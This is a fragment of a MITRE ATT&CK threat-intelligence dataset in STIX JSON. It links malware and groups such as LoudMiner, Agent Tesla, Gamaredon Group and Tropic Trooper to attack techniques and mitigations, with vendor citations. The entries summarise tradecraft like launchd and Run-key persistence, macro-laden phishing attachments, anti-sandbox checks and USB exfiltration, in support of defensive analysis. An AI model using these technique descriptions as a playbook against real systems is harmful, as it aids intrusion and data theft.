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                    "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/",
                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."
                }
            ],
            "description": "[LoudMiner](https://attack.mitre.org/software/S0451) deleted installation files after completion.(Citation: ESET LoudMiner June 2019)",
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            "type": "relationship",
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            "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56",
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                    "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/",
                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."
                }
            ],
            "description": "[LoudMiner](https://attack.mitre.org/software/S0451) used shell scripts to launch various services and to start/stop the QEMU virtualization.(Citation: ESET LoudMiner June 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--55aa08a3-d33a-465b-8d48-d25566ce0957",
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            "target_ref": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba",
            "external_references": [
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                    "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/",
                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."
                }
            ],
            "description": "[LoudMiner](https://attack.mitre.org/software/S0451) added plist files in <code>/Library/LaunchDaemons</code> with RunAtLoad set to true.(Citation: ESET LoudMiner June 2019)",
            "relationship_type": "uses",
            "id": "relationship--7398839c-3feb-4162-a3d2-dda8fc2f0375",
            "type": "relationship",
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            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
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                    "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/",
                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."
                }
            ],
            "description": "[LoudMiner](https://attack.mitre.org/software/S0451) used the <code>ps</code> command to monitor the running processes on the system.(Citation: ESET LoudMiner June 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--1232c797-ebf4-4036-9ebb-a65fbe8b1443",
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            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
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                    "source_name": "Infoblox Lokibot January 2019",
                    "url": "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22",
                    "description": "Hoang, M. (2019, January 31). Malicious Activity Report: Elements of  Lokibot Infostealer. Retrieved May 15, 2020."
                }
            ],
            "description": "[Lokibot](https://attack.mitre.org/software/S0447) has used several packing methods for obfuscation.(Citation: Infoblox Lokibot January 2019)",
            "relationship_type": "uses",
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                    "url": "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/",
                    "description": "Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has the ability to steal credentials from FTP clients and wireless profiles.(Citation: Malwarebytes Agent Tesla April 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "external_references": [
                {
                    "source_name": "Malwarebytes Agent Tesla April 2020",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/",
                    "description": "Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has used <code>ProcessWindowStyle.Hidden</code> to hide windows.(Citation: Malwarebytes Agent Tesla April 2020)",
            "relationship_type": "uses",
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                {
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                    "url": "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/",
                    "description": "Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has the ability to decrypt strings encrypted with the Rijndael symmetric encryption algorithm.(Citation: Malwarebytes Agent Tesla April 2020)",
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            "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d",
            "external_references": [
                {
                    "source_name": "Malwarebytes Agent Tesla April 2020",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/",
                    "description": "Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."
                }
            ],
            "description": " [Agent Tesla](https://attack.mitre.org/software/S0331) has he ability to perform anti-sandboxing and anti-virtualization checks.(Citation: Malwarebytes Agent Tesla April 2020)",
            "relationship_type": "uses",
            "id": "relationship--061f0d25-40fd-440a-b7e8-54ad0209f5f4",
            "type": "relationship",
            "modified": "2020-05-19T17:32:26.402Z",
            "created": "2020-05-19T17:32:26.402Z"
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            ],
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            "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
            "external_references": [
                {
                    "source_name": "Bitdefender Agent Tesla April 2020",
                    "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/",
                    "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has the ability to use form-grabbing to extract data from web data forms.(Citation: Bitdefender Agent Tesla April 2020)",
            "relationship_type": "uses",
            "id": "relationship--5bbbd951-0c4a-4293-b0a8-27751b953882",
            "type": "relationship",
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        },
        {
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                    "source_name": "Bitdefender Agent Tesla April 2020",
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                    "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has been executed through malicious e-mail attachments (Citation: Bitdefender Agent Tesla April 2020)",
            "relationship_type": "uses",
            "id": "relationship--1cd41777-3d65-4e39-8de7-3951d1568c16",
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            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "TrendMicro Gamaredon April 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/",
                    "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) tools can delete files used during an infection.(Citation: TrendMicro Gamaredon April 2020)",
            "relationship_type": "uses",
            "id": "relationship--bda5489b-7735-4793-8816-fc2238f6957f",
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            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "source_name": "TrendMicro Gamaredon April 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/",
                    "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."
                },
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) tools have registered Run keys in the registry to give malicious VBS files persistence.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)",
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            "external_references": [
                {
                    "source_name": "TrendMicro Gamaredon April 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/",
                    "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."
                },
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) tools decrypted additional payloads from the C2. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has also decoded base64-encoded source code of a downloader.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)",
            "relationship_type": "uses",
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                {
                    "source_name": "TrendMicro Gamaredon April 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/",
                    "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."
                },
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has embedded malicious macros in document templates, which executed VBScript. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has also delivered Microsoft Outlook VBA projects with embedded macros.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)",
            "relationship_type": "uses",
            "id": "relationship--3a6022ea-7647-4d61-8103-dd354d8dfd4d",
            "type": "relationship",
            "modified": "2020-06-22T18:23:55.089Z",
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            "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534",
            "external_references": [
                {
                    "source_name": "TrendMicro Gamaredon April 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/",
                    "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."
                },
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used DOCX files to download malicious DOT document templates. [Gamaredon Group](https://attack.mitre.org/groups/G0047) can also inject malicious macros or remote templates into documents already present on compromised systems.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "external_references": [
                {
                    "source_name": "TrendMicro Gamaredon April 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/",
                    "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."
                },
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has attempted to get users to click on Office attachments with malicious macros embedded.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)",
            "relationship_type": "uses",
            "id": "relationship--e84791af-7bdb-4fe9-8e03-7a10a154c9a4",
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            "external_references": [
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                    "source_name": "TrendMicro Gamaredon April 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/",
                    "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."
                },
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has delivered spearphishing emails with malicious attachments to targets.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)",
            "relationship_type": "uses",
            "id": "relationship--35624bc2-caf0-4124-88e8-6f60ae52ed9c",
            "type": "relationship",
            "modified": "2020-06-22T17:55:32.138Z",
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        },
        {
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            "object_marking_refs": [
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            "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10",
            "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336",
            "external_references": [
                {
                    "source_name": "ESET LoudMiner June 2019",
                    "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/",
                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."
                }
            ],
            "description": "[LoudMiner](https://attack.mitre.org/software/S0451) used an MSI installer to install the virtualization software.(Citation: ESET LoudMiner June 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--e3540915-e2f8-4f99-8f81-57a566e9d115",
            "type": "relationship",
            "modified": "2020-06-23T00:48:35.422Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10",
            "target_ref": "attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a",
            "external_references": [
                {
                    "source_name": "ESET LoudMiner June 2019",
                    "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/",
                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."
                }
            ],
            "description": "[LoudMiner](https://attack.mitre.org/software/S0451) used plists to execute shell scripts and maintain persistence on boot. [LoudMiner](https://attack.mitre.org/software/S0451) also added plist files in <code>/Library/LaunchDaemons</code> with KeepAlive set to true, which would restart the process if stopped.(Citation: ESET LoudMiner June 2019)",
            "relationship_type": "uses",
            "id": "relationship--5fe00e0c-23f9-4520-936a-5c177a1cb44a",
            "type": "relationship",
            "modified": "2020-06-23T00:48:35.424Z",
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        },
        {
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            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "external_references": [
                {
                    "source_name": "ESET LoudMiner June 2019",
                    "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/",
                    "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."
                }
            ],
            "description": "[LoudMiner](https://attack.mitre.org/software/S0451) is typically bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.(Citation: ESET LoudMiner June 2019)",
            "relationship_type": "uses",
            "id": "relationship--870c08fa-6112-4d08-9b84-59df09f27b4d",
            "type": "relationship",
            "modified": "2020-06-23T00:48:35.425Z",
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        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "target_ref": "malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae",
            "external_references": [
                {
                    "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.",
                    "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise",
                    "source_name": "Unit42 SilverTerrier 2018"
                }
            ],
            "description": "(Citation: Unit42 SilverTerrier 2018)",
            "relationship_type": "uses",
            "id": "relationship--e8948840-b0a0-4c10-87f4-022720dc8dd9",
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            ],
            "source_ref": "course-of-action--2995bc22-2851-4345-ad19-4e7e295be264",
            "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549",
            "description": "Limit the use of USB devices and removable media within a network.",
            "relationship_type": "mitigates",
            "id": "relationship--b957c285-b036-455d-a14f-8705838fd874",
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        {
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            ],
            "source_ref": "course-of-action--2995bc22-2851-4345-ad19-4e7e295be264",
            "target_ref": "attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829",
            "description": "Limit the use of USB devices and removable media within a network.",
            "relationship_type": "mitigates",
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            "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1",
            "target_ref": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4",
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/library/dn408187.aspx",
                    "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
                    "source_name": "Microsoft LSA Protection Mar 2014"
                }
            ],
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            "relationship_type": "mitigates",
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                    "description": "Microsoft. (2017, April 19). Network access: Do not allow anonymous enumeration of SAM accounts and shares. Retrieved May 20, 2020."
                }
            ],
            "description": "Enable Windows Group Policy \u201cDo Not Allow Anonymous Enumeration of SAM Accounts and Shares\u201d security setting to limit users who can enumerate network shares.(Citation: Windows Anonymous Enumeration of SAM Accounts)",
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                    "source_name": "Anomali Pirate Panda April 2020",
                    "url": "https://www.anomali.com/blog/anomali-suspects-that-china-backed-apt-pirate-panda-may-be-seeking-access-to-vietnam-government-data-center#When:15:00:00Z",
                    "description": "Moore, S. et al. (2020, April 30). Anomali Suspects that China-Backed APT Pirate Panda May Be Seeking Access to Vietnam Government Data Center. Retrieved May 19, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has lured victims into executing malware via malicious e-mail attachments.(Citation: Anomali Pirate Panda April 2020)",
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                    "url": "https://www.anomali.com/blog/anomali-suspects-that-china-backed-apt-pirate-panda-may-be-seeking-access-to-vietnam-government-data-center#When:15:00:00Z",
                    "description": "Moore, S. et al. (2020, April 30). Anomali Suspects that China-Backed APT Pirate Panda May Be Seeking Access to Vietnam Government Data Center. Retrieved May 19, 2020."
                },
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used HTTP in communication with the C2.(Citation: Anomali Pirate Panda April 2020)(Citation: TrendMicro Tropic Trooper May 2020)",
            "relationship_type": "uses",
            "id": "relationship--32bebd4b-6bbe-4a4e-86a1-0c49fda51259",
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                {
                    "source_name": "Anomali Pirate Panda April 2020",
                    "url": "https://www.anomali.com/blog/anomali-suspects-that-china-backed-apt-pirate-panda-may-be-seeking-access-to-vietnam-government-data-center#When:15:00:00Z",
                    "description": "Moore, S. et al. (2020, April 30). Anomali Suspects that China-Backed APT Pirate Panda May Be Seeking Access to Vietnam Government Data Center. Retrieved May 19, 2020."
                },
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has created shortcuts in the Startup folder to establish persistence.(Citation: Anomali Pirate Panda April 2020)(Citation: TrendMicro Tropic Trooper May 2020)",
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                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[USBferry](https://attack.mitre.org/software/S0452) can execute rundll32.exe in memory to avoid detection.(Citation: TrendMicro Tropic Trooper May 2020)\t",
            "relationship_type": "uses",
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            "type": "relationship",
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                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
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            "relationship_type": "uses",
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                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[USBferry](https://attack.mitre.org/software/S0452) can check for connected USB devices.(Citation: TrendMicro Tropic Trooper May 2020)",
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                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[USBferry](https://attack.mitre.org/software/S0452) can detect the infected machine's network topology using <code>ipconfig</code> and <code>arp</code>.(Citation: TrendMicro Tropic Trooper May 2020)\t",
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            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
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                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[USBferry](https://attack.mitre.org/software/S0452) can detect the victim's file or folder list.(Citation: TrendMicro Tropic Trooper May 2020)\t",
            "relationship_type": "uses",
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                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[USBferry](https://attack.mitre.org/software/S0452) can execute various Windows commands.(Citation: TrendMicro Tropic Trooper May 2020)\t",
            "relationship_type": "uses",
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                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[USBferry](https://attack.mitre.org/software/S0452) can copy its installer to attached USB storage devices.(Citation: TrendMicro Tropic Trooper May 2020)",
            "relationship_type": "uses",
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                    "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."
                }
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            "description": "(Citation: TrendMicro POWERSTATS V3 June 2019)",
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                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used JPG files with encrypted payloads to mask their backdoor routines and evade detection.(Citation: TrendMicro Tropic Trooper May 2020)",
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                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used a delivered trojan to download additional files.(Citation: TrendMicro Tropic Trooper May 2020)",
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                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has attempted to transfer [USBferry](https://attack.mitre.org/software/S0452) from an infected USB device by copying an Autorun function to the target machine.(Citation: TrendMicro Tropic Trooper May 2020)",
            "relationship_type": "uses",
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                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
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                    "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."
                }
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                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
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            ],
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                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used a copy function to automatically exfiltrate sensitive data from air-gapped systems using USB storage.(Citation: TrendMicro Tropic Trooper May 2020)\t",
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                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has exfiltrated data using USB storage devices.(Citation: TrendMicro Tropic Trooper May 2020)\t",
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                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
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            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has monitored files' modified time.(Citation: TrendMicro Tropic Trooper May 2020)\t",
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                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has collected information automatically using the adversary's [USBferry](https://attack.mitre.org/software/S0452) attack.(Citation: TrendMicro Tropic Trooper May 2020)\t",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
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                    "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf",
                    "source_name": "TrendMicro TropicTrooper 2015"
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                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has detected a target system\u2019s OS version and system volume information.(Citation: TrendMicro TropicTrooper 2015)(Citation: TrendMicro Tropic Trooper May 2020)",
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                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
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            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used scripts to collect the host's network topology.(Citation: TrendMicro Tropic Trooper May 2020)\t",
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            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
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            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used Windows command scripts.(Citation: TrendMicro Tropic Trooper May 2020)\t",
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                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has tested if the localhost network is available and other connection capability on an infected system using command scripts.(Citation: TrendMicro Tropic Trooper May 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--df7e5314-665b-44a3-8040-f6cb8fd28cbf",
            "type": "relationship",
            "modified": "2020-05-21T14:55:00.329Z",
            "created": "2020-05-21T14:55:00.329Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has deleted dropper files on an infected system using command scripts.(Citation: TrendMicro Tropic Trooper May 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--098a760a-66ce-46e0-938e-86518e450a27",
            "type": "relationship",
            "modified": "2020-05-21T14:55:00.332Z",
            "created": "2020-05-21T14:55:00.332Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "NCCGroup RokRat Nov 2018",
                    "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/",
                    "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."
                }
            ],
